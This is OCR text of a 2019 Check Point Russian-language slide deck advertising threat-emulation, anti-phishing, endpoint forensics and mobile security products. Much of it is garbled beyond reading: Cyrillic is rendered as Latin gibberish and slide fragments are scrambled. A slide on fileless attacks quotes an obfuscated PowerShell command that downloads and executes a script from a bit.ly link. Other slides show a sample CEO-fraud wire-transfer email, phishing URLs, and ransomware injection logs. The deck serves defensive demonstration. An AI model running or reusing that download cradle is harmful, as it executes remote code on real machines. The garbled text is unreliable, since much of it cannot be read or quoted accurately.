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= Mobile

= Ransomware
= Banking
—Botnet
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HoBbiu pyHKLUMOHAN 3alnNTbI OT Yrpo3 Ha

LWITHO3aXxX

Check Point

'SandBlast'

ZERO-DAY
PROTECTION
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R80.30 (pekomeHagoBaHHada Bepcus):
[TpoakTMBHasA O4NCTKa OOKYMEHTOB B BED
AV n amynauua pannos B FTP

R80.40 (EA, penus B KOHUge 2019):

AV n amynauuna pannos B IMAP, POP3, SSH,
SCP, SFTP " MHOro-noTokoBom SMBvV3
NHcnekuns HTTP/2

3awuTa loT

R80.x B 35. no4Tte (CeH-0KT 2019):
YnydiweHHas npoBepka ccblfiok (Click-Time)
YriydlieHHas npoBepKa apXnBoB C

naponsamm
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\
] Office365 !

 SandBlast e SaaS
el prOTEOIAN G Suite ‘}Dropbox

#HS% @

* \ .| YactHo
L (I EEE S -
B i - =88] e

—

N\ [Ty6rnnyHo
> - e
& A !) obnako
laas, PaaS
WFICOMF TN THF FUTHRF OF CYRFR SFCIHRITY
6

©2019 Check Point Software Technologies Ltd.



Knbepsawura BHe nepumeTpa e Paint

SOFTWARE TECHNOLOGIES LTD

ﬁ IJ Office 365\

- GSuite 33 prophox )

T N

BP>
(7

L B
\
| A ))
WFICOME T0 THFE FUTHRFE OF CYRFR SFCURITY

©2019 Check Point Software Technologies Ltd. 7

[MbpugHoe
obnako




[lpencTtaBngaem:
[lpoaBuHYyTas KNbep3sallnTa BHE NEpUMETPA

SECURITY,

WFICOME TO THFE FUTHRFE OF CYRFR SFCURITY

©2019 Check Point Software Technologies Ltd.



Knbep3awmra BHe nepumeTpa Check Point

SOFTWARE TECHNOLOGIES LTD

CHECK POINT

THREATCL’);L.JD CloudGuard
\
: i | SaaS I Office 365\

Check Pomt

§Sand | NN G Suite  $3 dropbox )

- | J

/ \ - - . . SandBlast
Check Po:n( L N . .
T }‘ OAGENT - . . ’
N CHECK POINT .

N CloudGuard [sahou %

. Check Point AAAAA \\ :
SandBlast |
:-".f‘t“*”‘ T <§' : . A
- J/
WFICOMFE T0 THF FITHRF OF CYRFR SFCIURITY

©2019 Check Point Software Technologies Ltd. 9

[MbpugHoe
obnako




CHECK POINT

CloudGuard
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9% KoMnaHui u3 cnucka PBK 500 yxe Check Point
NCnonb3yrT obnavHyro noyty Office 365 /

G-Suite

I Office 365

= Toprosns G Surte

® HedpTb 1 ras

® Nuctpubyumn

® Cen. X03-BO U NPOAYKTHI
AsTOMObBUNM

® TpaHcnopt

= Metannbl n nobbiua

®[ipyrue

Check Point Research, 2019
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PaszgeneHne oTBeTCTBEHHOCTU: NpoBangepvs. . ==

Ub, UT, DevOps...
laa$S Paa$S Saas
éﬁ 30% WUT-cneynanucToB MNo-npexxHemy
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Threat Details Report  Actions - [ Check Point

@ flash_update

BoisiBneHune «JHK» HOBbIX BpegoHOCO il

Malicious Prevent Critical Trojan

(& ATTACKVECTOR | 1811220181335

©® S

127.001 flash_update 127.001

7 aanwane canan

Neshta is a trojan which was first seen in the wild on 2010. Neshta makes modifications in the system registries and in the
browser settings in order to install malicious toolbars or extensions. Neshta distributes itself by injections its code to other
executable files.

Neshta s a trojan which was first seen in the wild on 2010. Neshta makes modifications in the system registries and in the
toolbars or extensions. by injections

executable fles.

Similarity Analysis Fo—
T e
Similar code blocks Code block 1 of 3 e tor s 3 e

mov ebp, esp
add esp, -0x20

push ebp e e
mov ebp, esp il e
add esp, -8x20
Xor eax, eax
mov dword ptr [ebp - 8x28], eax

dword ptr [ebp - 8x18], eax

dword ntr Tehn - Axicl. eay

Similar behavioral I0Cs

Knaccugukaunsa ¢ NoOMoLLbo MaLLMHHOIO

"Iz FLELST

VERDICT | SIZE

O 6 q e H M H — 5 —
12690b2e281 287.42K8

19248 K8

HeunsBecTH e e
= e
A

10398 K8

THREATCIOUD , = =

1269063281 1 267.42K8

& sUSPICIOUS ACTVITIES
Wind.1 64b, Office 2013, Adobe 11 WinXP, Office 200377, Adobe 9

Q

CATEGORY DESCRIPTION

AHanuns NCK = —
rnoBegeHn4 MOXOXUX e S ——

File system event Suspicious file was accessed during emulation

flash_update.exe

Generic

Generic y in system, this can| memory available
Creates executable files on the filesystem
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NSS Labs Breach Prevention Test 2019

AN ANALYSIS OF BREACH PREVENTION SYSTEMS
Security Value Map™ (SVM)

AUGUST 7, 2019
Authors — Thomas Skybakmoen, Mike Spanbauer

Research Includes: _
Check Point'
Check Point Software Technologies .
Cisco

Fortinet!

.
$ &
e Fortinet

e McAfee Trend Micro®

e Palo Alto Networks ?

¥ Sopan Palo Alto Networks'

e Trend Micro

100%

95%
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Check Point
1-e MeCTO NO YPOBHIO 3aLUUTDI:
98.4% adphekTUBHOCTL 3alUNTbI
100% OnokmnpoBKa yrpos
100% 3awmTa B no4yte u Beb
100% 3awmTa OoT IKCNIOUTOB
0% noXHbIx cpabaTbiBaHUM
2-e mecto no TCO

NSSY)

RECOMMENDED
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LieneBow chbMLLIMNHT KaK OTAENbHLIN BUA UCKYCCTBA, o point
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From: Office 365 <noreply87788392341.356@offlce.com>
Sent: Tuesday, September 4, 2018 10:32 AM
To SN I com>

From: CEO@acmecorp.com
To: Jane@acmecorp.com
Subject: Urgent

| need you to initiate a wire transfer in the sum of $45,250 to the
account below. | am boarding a flight and this needs to be done right
now. Can you please get this done? Send confirmation of the transfer
immediately.

Thanks

Thank you,
Office 365 Team

WFICOME T0O THF FUTHRF NF CYRFR SFCIHRITY
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CloudGuard SaaS: Anti-Phishing Al/ML

CLOUDGUARD SAAS

Events by Severity Events by State Events by SaaS

~ Hide graph view

Security Events

Date v State v Type v Severity Level v Saas v Tool v Group Actions v

Search. Q

Filter By (clear all): % Last60 min % Phishing % Remediated Total 6 Events Filtered
TIME ¥ STATE EVERITY » SAAS TYPE EVENT DESCRIPTIC ACTION HIST

. - Email quarantined Release
attempt detected in an email from 2 S
o : : i : Alert user of phishing

18:06:19 i ‘ ‘ s e atonn
2019-03-22 ‘lll @ valching ? S 5 3 Dismiss

(aleksey microsoft.com's mailbox) i
‘ Add Exception

Email quarantined

Email quarantined Release
. ; attempt detected in an email from : ] o,
18:06:19 A ; Report as not phishing

Phishin - 'Acco ( ¥ ed! B e Email quarantined
2019-03-22 'lll @ RIVE Alert user of phishing q

( nict ft n's mailbox) et
Dismiss

Email quarantined Release

attempt detected in an email from ! tonr ) e
17:59:09 o : ‘ i Alert user of phishing o
e ...l Phishing - 'Accou e \ > Bistiiiss Email quarantined
2019-03-22 ismi

(ale om's mailbox)
Y ’ Add Exception



3alnTa yYeTHbIX 3anuceun norib3oBarterien

Security events

© PHISHING - 66% remedi...

9% 032 11

® DLP - 0% remediated

011

@ MALWARE - 43% remedi...

110

062 2

@, SHADOW IT - 0% appro...

Last 30 days v

© ANOMALIES - 0% reme...

[ 7 o7/

TOTAL PENDING TOTAL PENDING TOTAL PENDING TOTAL PENDING TOTAL PENDING
Office365-Emails 89 (89 total) Gmail 6 (6 total) Office365-Emails 84 (84 total) wrike.com 2 (0 total) Office365-Emails 7 (7 total)
Gmail 7 (7 total) Office365-Emails 4 (4 total) Google Drive 13 (13 total)

Office 365 OneDr
LOGIN EVENTS Login Events
| + ‘
I = | NOBTH b @ AsA
LOGIN EVENTS Login Events v

Chatswood .

- 1userfrom1IP:

| ama-demo-adfs@ama-demo.com (125.213.179.226)

AFRICA

ocC

E—

EANIA

5

Check Point

SOFTWARE TECHNOLOGIES LTD

——E— v N &

WFICOME T0 THFE FUTHRFE OF CYRFR SFCURITY
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Anomaly

12-12 19:38:07

ama-demo-adfs has Sl R{elglEIgs [g]=411]

m to cpjdemo01@gmail.com at 2018-

19



Jlerko nonpo6oBaThb U Ha4YaTb UCMOMNb30BATb Check Point

SOFTWARE TECHNOLOGIES LTD

« AKTMBaUUA 3aWnTbI 3a 30 MUH.

« MrHoBeHHbIV ayouT Vb: Bkntovasa yxe
HaKoOMJ1eHHblIe JaHHbIe B SaasS

o [IMNoT B peXXmme MOHUTOPUHra
NO3BOSISET cpaldy 3abnoknuposaTh
oOHapy>XeHHbIE Yrpo3bl

» Try & Buy: nocne ycrneLHoro nmnoTa

MOXXHO cpasy NepenTun B NpOoayKTUB . . . —
o 458 043 385 091 81 074 246 097
TOTAL PENDING TOTAL ENDINC TOTAL PENDING TOTAL PENDING
5@ 7 +
o O W o 2
X E 1
g 2@ " ©
WFICOME T0O THF FUTHRF NF CYRFR SFCIURITY 2 " - Xm——
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Sl Snoli

Check Point

: SandBlast

[TlocneagHve nHHoOBauuu B
TeXHOJOrnAaAXxX 3awuTbl
KOHE@YHbIX TOUYEK



“T0 AOMXKeH Check Point
YMETb
COBPEMEHHbIN Threat Emulation
eHONOUHT? Threat Extraction
m Anti-Exploit
Zero-Phishing

NGAV

Check Point

_, Sa nd Blast

FW, Anti-Bot
Auto-Remediation
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Threat Emulation

Check Point

Threat Extraction
Anti-Exploit
Zero-Phishing
NGAV
[TpenoTBpalleHu
e 3anycka

Check Point

Sand Blast

(OAGENT

WFICOME TN THF FUTHURF OF CYRFR SFCIHRITY
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[MpepoTBpalleHune Zero-Day B peanbHOM Cheo.nt
BpemMeHU B Opay3epe

Q Check Point SandBlast

* _>pPDF

O, 15 seconds ago
710076 safe :
/\ tatiof u John Smith Financial Report.cleaned.xls
O Potentially malicious elements were removed from the file
Get original
9 —
]
Z —_—
EEE——T.

Based on company policy, potentially malicious elements
were rermoved from this file

\_/ Show less

XLS—=>XLS 1 5ot g

John Smith Advance CY.doc

I Access to file has been blocked. Qriginal file is malicious

2 weeks ago

ProcessExplorer.zip
Original file downloaded. No threats were found

WFICOME T0 THFE FUTHRFE NF CYRFR SFCURITY
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3awmTa oT HOBbIX (DULLMHIOBbLIX CAUTOB U KpaXWu
Y4eTOoK

Phishing Attack'

Check Point

SOFTWARE TECHNOLOGIES LTD

G Check Point

O

Beware! Deceptive site blocked

This phishing site may pretend to be accountonline.citi.com.
Phishing sites try to trick you to steal your information

(for example, passwords or credit cards).
Details

If this is incorrect, send a report and continue.
URL: http://citibanklocations.org/virginia-va
Title: Citibank Virginia (VA) | Citibank in Virginia (VA) | Citibank Locations

AHann3 cogepXXnmMoro Bed-cTpaHuLbl, 8 He TONbKO
penytayum

WFICOME TN THF FUTHURF OF CYRFR SFCIHRITY
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MpenorBpalleHMe HOBbIX 3KCMNJIONTOB

Ya3sum ) @ ) 3arpy ) Bpe )
0CTh v 3UUK [IOHO

C

Anti-Exploit

Reverse RDP Attack: The Hyper-V Connection

August 7, 2019

Research by: Eyal Itkin CVE-2019-0887

Nearly 1 Million Computers Still Vulnerable to "Wormable" BlueKeep
RDP Flaw

B3 May 28,2019 & Swati Khandelwal

WFICOMFE T0 THF FIUTHRF OF CYRFR SFCIURITY
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Anti-Ransomware Check Point

SOFTWARE TECHNOLOGIES LTD

Behavioral Guard

Check Point

dBlast

3awmTta B
peanbHOM
BpEMEHM

WFICOME TN THF FUTHURF OF CYRFR SFCIHRITY
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3aluTa oT HOBbIX WKUdPOoBaNbLUKOB NO Cheok Point
noBeAEeHMIO

nt Anti Ransomware - Anti Ransomware

A He Bbikntouvante KOMMNbIOTEP U HE OTK/IFOYalTe NUTaHne

e

AHAJIN3

N ANl YCTMELWHO BOCCTAHOB/IEH!

6b1A1 BOCCTAHOBAEHbI
O 5 HAPy>KE HA I—I PO I‘PAM MA_ LUAHTA)KM CT° Qaiinbl BOCCTaHOBAEHH! B: PacnonoxeHne ucxoaHbIxX Gpannos

BuinonHaeTcA aHanus MH¢EKL{VIM

3TO MOXKET 33HATb HECKOILKO MUHYT... 3AKPbITb

I Check Point 8 Check Fot

... CryptoLocker... WannaCry... NotPetya... BadRabbit... GrandCrab... Ryuk...
Robinhood...

WFICOMF T0 THF FUTHRF OF CYRFR SFCIURITY
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BecTenecHble aTakm cTpeMuTenbHO pacTyT! i

SOFTWARE TECHNOLOGIES LTD

&("{0}{2}{3}{1}{4}"-f 'In","'e", "voke- - CTaHLI,apTH bIA

Exp*,'r*,"ssion’) (&( "{2}{0}{1}"-f'w- 7
Obje’,"ct’, Ne') ( "{O}{1}H{2}{3}"-f S e
‘N',‘et.', 'Web', 'Client') ).("{0}{3}{1} npouecc
{2}{4}"-f'Downl’,*ad’,"'S","0o", "tring"

).Invoke(( "http' + ":'+'/"+"/bi" ®

+'t.ly'+"/L3glt’ ))|

BpenoHOCHbIN CKpUnT ncronHsaeTca PowerShell

5 year flashforward

1 O 35 % As technology advances and cybercriminals G e
become more sophisticated — further refining
BCEeX aTaK B existing methodologies and borrowing from leaked
pas3 npowie AOCTU4b LUErlN, 2018* nation state toolkits — cyber-attacks will become
4YeM C BPeJOHOCHbIMU Increasingly stealthy and harder to detect. While
o " currently there are few reports from law enforcement,
d)al/lﬂaM 4 attacks using fileless malware will become a
standard component of the crime-as-a-service Europol
*Ponemon Institute industry, just as cryptoware has today. IOCTA 2018

Report

WFICOME TN THF FUTHURF OF CYRFR SFCIHRITY
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Behavioral Guard 6rnokupyeT 6ectenecHble -
ATAKY Check Point

¢ R -~ w ® =

CLEANED Gandcrypt - MEDIUM Endpoint Behavioral Guard ..\windows\syswow64\windowspowershell\v1.0\powershell.exe - gen.win.ps.oncodrep.a
status - malware family : severity : triggered by : trigger : protection name

conhost.exe 2884 o

powershell exe 6944
Attack Start, Abnormal Launch

Dropped File Deletion, Dropped Script
Powershell Encoding

WFICOME TN THF FUTHURF OF CYRFR SFCIHRITY
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FW, Anti-Bot

Auto-Remediation

N3onauus,
100% rievyeHue n
2 BOCCTaHOBIEHME
(~1 MUH.)

L
T I T B

~ s
~ e /’ .
7
A 7
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Check Point

SOFTWARE TECHNOLOGIES LTD

AHanns u
pearnpoBaHu
2

Check Point
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HoBble oT4yeTbl SandBlast Agent Forensics o ot
eck Point

SOFTWARE TECHNOLOGIES LTD

_ 203 0} < '
SandBlast Forensics GENERA OINT EM (0]} Bl \ VIPAC S ICIO TIVITY INCIDENT DETAILS CheCLknF,’wowl.rJF

ST OVERVIEW  GEN SOFTWARE

o ~ ®

CLEANED Rapid CRITICAL Endpoint Behavioral Guard ..\temp\added\space\to_test\the ellipsis behavior\gamepa.exe ps.win.encoded pashap
status malware family severity triggered by trigger protection name user
Hin ATTACK STATS What sort of connections and processes were involved? ‘ BUSINESS IMPACT What was the potential damage done?
9 1 Malicious @ Malicious Unsigned 9 Script = 3 8 Data
& Connections Processes Processes Processes =6 Ransom
e ATTACK TYPES What were the attacks types seen or prevented? ﬂ REMEDIATION Were all incident created elements removed?
™ %, A
s —
: . miner riskware
100% 9%
o ENTRY POINT How did it enter the system? 2121 3435/36253
& termin
powershell.ex
6 INCIDENT DETAILS (12 processes) How do | analyze further? % SUSPICIOUS ACTIVITY (12 categories) What happened in the system?
EVENT CATEGORY
O eeeee® Abnormal Behavior (1 event)

e®eeee Malicious URL (1 event)

@®eeee® Volume Shadow Copy Deletion (1 event)

@e®eee BitCoin Wallet Access (1 event) HELP?
e 9 eooe Ransom Message Creation (393 events) INCIDENT RESPONSE TEAM
—\

(XTI T] Script Execution (1 event) CHECK POINT

o

Contact Us

LL L} Process in Temp (1 event)

o

5 more..

WFICOME TN THF FUTHRF OF CYRFR SFCIHRITY
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©
Kakou cTtaTyc yrpo3bl U 4UTO 3TO TaKoe: Check Point

©

g 4
' = :
CLEANED Gandcrypt MEDIUM Endpoint Behavioral Guard -..\windows\syswow64\windowspowershell\v1.0\powershell.exe
status malware family severity triggered by trigger
e ATTACKTYPES @ What were the attacks types seen or prevented?
()
o
bot ransomware trojan

©

g 4 N\
‘ /= _ :
CLEANED Rapid CRITICAL Endpoint Behavioral Guard - ..\temp\added\space\to_test\the ellipsis behavior\gamepa.exe
status malware family severity ' triggered by trigger
9 ATTACK TYPES What were the attacks types seen or prevented?
= e, A
infostealer miner riskware -

WFICOME T0 THFE FUTHRFE NF CYRFR SFCURITY
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-

INCIDENT DETAILS

[leTanbHbIN aHANU3 UHUMOEHTA
@b %00

Check Point

SOFTWARE TECHNOLOGIES LTD

cmd.exe 3828
Dangerous Execution

cmd.exe 4728
Dangerous Execution

cmd.exe 4332 taskkill.exe 216
Dangerous Execution Process Termination

Registry Ops (2)

Process Security Reputation File Ops (5032) Network Ops (0) Injection/Hook Ops (0)  Suspicious Events (399) Damage (122)

Show 100 v entries

Registry Key & Action 4 Value & Data Old & Data New
hku\s-1-5-21-1122206823-2576726208-2282001178- OpenKey, SetValueKey, encrypter C:\Users\alice\AppData\Roa C:\Users\alice\AppData\Roaming\info.exe
1106\software\microsoft\windows\currentversion\run SetinformationKey, QueryKey ming\info.exe

hku\s-1-5-21-1122206823-2576726208-2282001178- OpenKey, SetValueKey, userinfo C:\Users\alice\AppData\Roa C:\Users\alice\AppData\Roaming\recovery.txt

1106\software\microsoft\windows\currentversion\run SetinformationKey, QueryKey ming\recovery.txt



E81.40: paccnegoBaHue atakm no MITRE ATT&CK el

Check Point

SOFTWARE TECHNOLOGIES LTD

% MITRE ATT&CK™ Matrix PASHAP-G4: analyzer1567409126857

https://attack.mitre.org

These are the tactics and techniques as described by the MITRE ATT&CK™ framework.

Command and

Control Exfiltration

Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Discovery Lateral Movement Colle~t*ion

Remote Logon Command-Line Registry Run Keys / Process Injection Modify Registry Browser Bookmark Data from Local Commonly Used Port Data Encrypted for
Interface Startup Folder Discovery System Impact

Va INITIAL ACCESS REMOTE LOGON m- Forensics Suspicious Event Q:égi;esr;'stem

Remote Deskiop Connections are an all too common way of entering a system for Cyber Attacks. Access to RDP can occur from stolen credentials and brute forcing.

Show 10 ~ entries
the context of another process may

Description

COKO-WIN10X64-3\sE\ERVEER RN NGRS from remote machine: COKO-WIN10X64 using IP: 10.0.0.15

Showing 1to 1 of 1 entries

User Execution YUR.CAC (FIUV. TUSD U ccUcuU O ITjE U C.AW UV oyole USLCAT (FIU. £004%)
ryuk.exe (PID:1036) succeeded to inject into c:\windows\system32\runtimebroker.exe (PID: 2588)
ryuk.exe (PID:1036) succeeded to inject into c:\windows\systemapps\shellexperiencehost_cw5n1h2txyewy\shellexperiencehost.exe (PID: 3568)

ryuk.exe (PID:1036) succeeded to inject into c:\windows\system32\dllhost.exe (PID: 2948)

ryuk.exe (PID:1036) succeeded to inject into c:\windows\system32\taskhostw.exe (PID: 2020)

©2019 Check Point Software Technologies Ltd. ryuk.exe (PID:1036) succeeded to inject into c:\windows\system32\svchost.exe (PID: 4800)
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[lonnTnKa «BCe B OETEKT»

(EDR):

‘ BUSINESS IMPACT

What was the potential damage done?

WFICOME T0 THFE FUTHRFE NF CYRFR SFCURITY

©2019 Check Point Software Technologies Ltd.

[ 6 5 Data lh '] O Privacy
&
\@ Changes Violation
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powershell exe 5768
Attack Start, Abnormal Behavior
Dropped Executable, Dropped File Deletion

Dropped Script

[Tonntuka «Bce B NpeBeHT» (EPP):

Check Point
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conhost.exe 3372 O

‘ BUSINESS IMPACT

What was the potential damage done?

o

No damage detected
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Threat Hunting Overview

SandBlast Forensics

Suspicious Activity Last Day -

& &

LIOR-PC

i ‘| ¥ ADMIN-PC

@ PAMELA-FC

MAX-PC . ij

i? e " NIR-BC
n OREN-PC i:

MITRE ATT&CK™ Events

Process: scvhost exe

- jeremysk

Process: hosiscv.exe
& pamela

Process: hostexe
® -
- OrEN

Behavior Based Anomalies

I P.rocess: update.exe
- Max Ta

Machine Learning Anomalies

Process: bob_cv.pdf.exe
= lior

Process: crhome exe
®
2 Max

Indicators From Recent News

g Mar 13 2019 12:21 PM

Technique: C&C Profocol
Tactic: C&C Communication

Technique: Mass Registry Change
Tactic: Defense Evasion

Technique: Query Reqistry
Tactic: Defense Evasion

Technique: Binary Padding

ctic: Low Reputation Low Prevalence

Technique: Camouflage ML
Tactic: Defense Evasion, Execution

Technique: Remote Desktop Protocol
Tactic: Lateral Movement

Protecting Against WINRAR Vulnerabilities (CVE-2018-20250) BLOG - IOA

g Mar 10 2019 17:21 PM

1 1K haenitzale hit with massivae ransaomware attark - 1IOA

Detection time: 1/7/2019, 11:0011 PM

Detection time

Detection time

Detection time:

i) JEREMY-PC

: 1/7/2019. 11:01:51 PM
=] PAMELA-PC

: 1/7/2019. 11:01.52 P
§=J OREN-PC

11712019, 11:01:54 PM
I MAX-PC

Detection time: 1/7/2018, 10:05:12 PM

Detection time

§=LIOR-PC

1 177/2019, 11:16:20 PM
2 MAX-PC



SandBlast

A KaK HacyeT
MOOUINBbHbLIX
YCTPOUCTB?

5

'I
J

Check Point

SOFTWARE TECHNOLOGIES LTD



A kaK y Bac pgena ¢ 3alumTon MOOGUINbHbIX o

YCTPOUCTB?
B 59% opraHnsaumnm — HeT 3awmThbl
Bcero 9% WT-cneunannctoB cHUTatoT MOOWUSIbHbIE
Yrpo3bl CEPbE3HBbIM PUCKOM A1 6€30nNacHOCTU
N o4eHb 3ps... ‘
P @an a

SimBad: A Rogue Adware Campaign On Google Play

March 13, 2019
Research by: Elena Root and Andrey Polkovnichenko

Google yoanun 209 3apaXXeHHbIX NPUNOXeHUN N3
mMapkeTa. Ton 10 U3 HMUX ObINK ckadaHbl 55 MIH. pas!

cp<F>

WFICOMF TN THF FUTHRF OF CYRFR SFCIHRITY
©2019 Check Point Software Technologies Ltd. CHECK POINT RESEARCH
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On-Device Network Protection: yCrOBHbIU AOCTYN
Check Point

SOFTWARE TECHNOLOGIES LTD
22:42 ) o~

&~ Event Center

CURRENT (5)

~—~ mail.paysafest.com
P

This URL is classified as Phishing. Network connection has been blocked.

DISMISS

~— http://y.genovesevanderhoof.com/sign_in.html

This URL is classified as Phishing. Network connection has been blocked.

DISMISS

WFICOMF T0 THF FUTHRF OF CYRFR SFCIURITY
©2019 Check Point Software Technologies Ltd. 42



MoOunbHan 6e30nNacHOCTbL Tenepb eLle

H?&T%Mﬁs?emoe KopnopaTMBHOE

NPUNOXeHne

224 | 28 139 32 442 | 224 79 139

!!!!!!.0 6 [10% ..o  90%

ejojojolon

| 27 |28 496 697818

3. Kak pyHKumoHan Baluero
NPUNOXeHUA

Ochrana telefonu
Aktivovat ochranu telefonu

nes Ailens
Nno aiky

..Eaédelast' AEC
1o

DATA SECURITY

2. Kak cepBuc ot

nposavaepa

00O mEBQ

< O npunoXxeHuu

3

Mera®oH AHTMB3/10M

OcTaBbTe 0T3bIB O NPUIOXKEHNN:

antivziom@megafon.ru

© 941836

MCI‘IOﬂb3yF| STOT NMPOAYKT Bbl cornallaeTecb C

ycnosuaMu u onpefeneHnamMm anLed3snm Ha

nporpamMHoe obecnevyeHne U NOANTUKOW

KoH(uraeHUmansHocTn. Mera®oH MoxeT

MCMNoJsib30BaTb onpeaeneHHoe NporpaMHoe

obecneyeHne. 3To nporpamMmHoe obecneyeHune

3allMLLEeHO aBTOPCKUM MpaBoM UX BnagenbLes

KaK yKasaHo TyT.

3TOT NPOAYKT BKOYaeT B cebs AFNetworking

library, pacnpocTpaHaemyto nog nuueH3snen MIT

(OuueHsusa);

[ Check Point

Bepcus: 1.0(117)
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Tonbko YTo
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MOVI TENIEGOH  MOS CETb NCTOPUA
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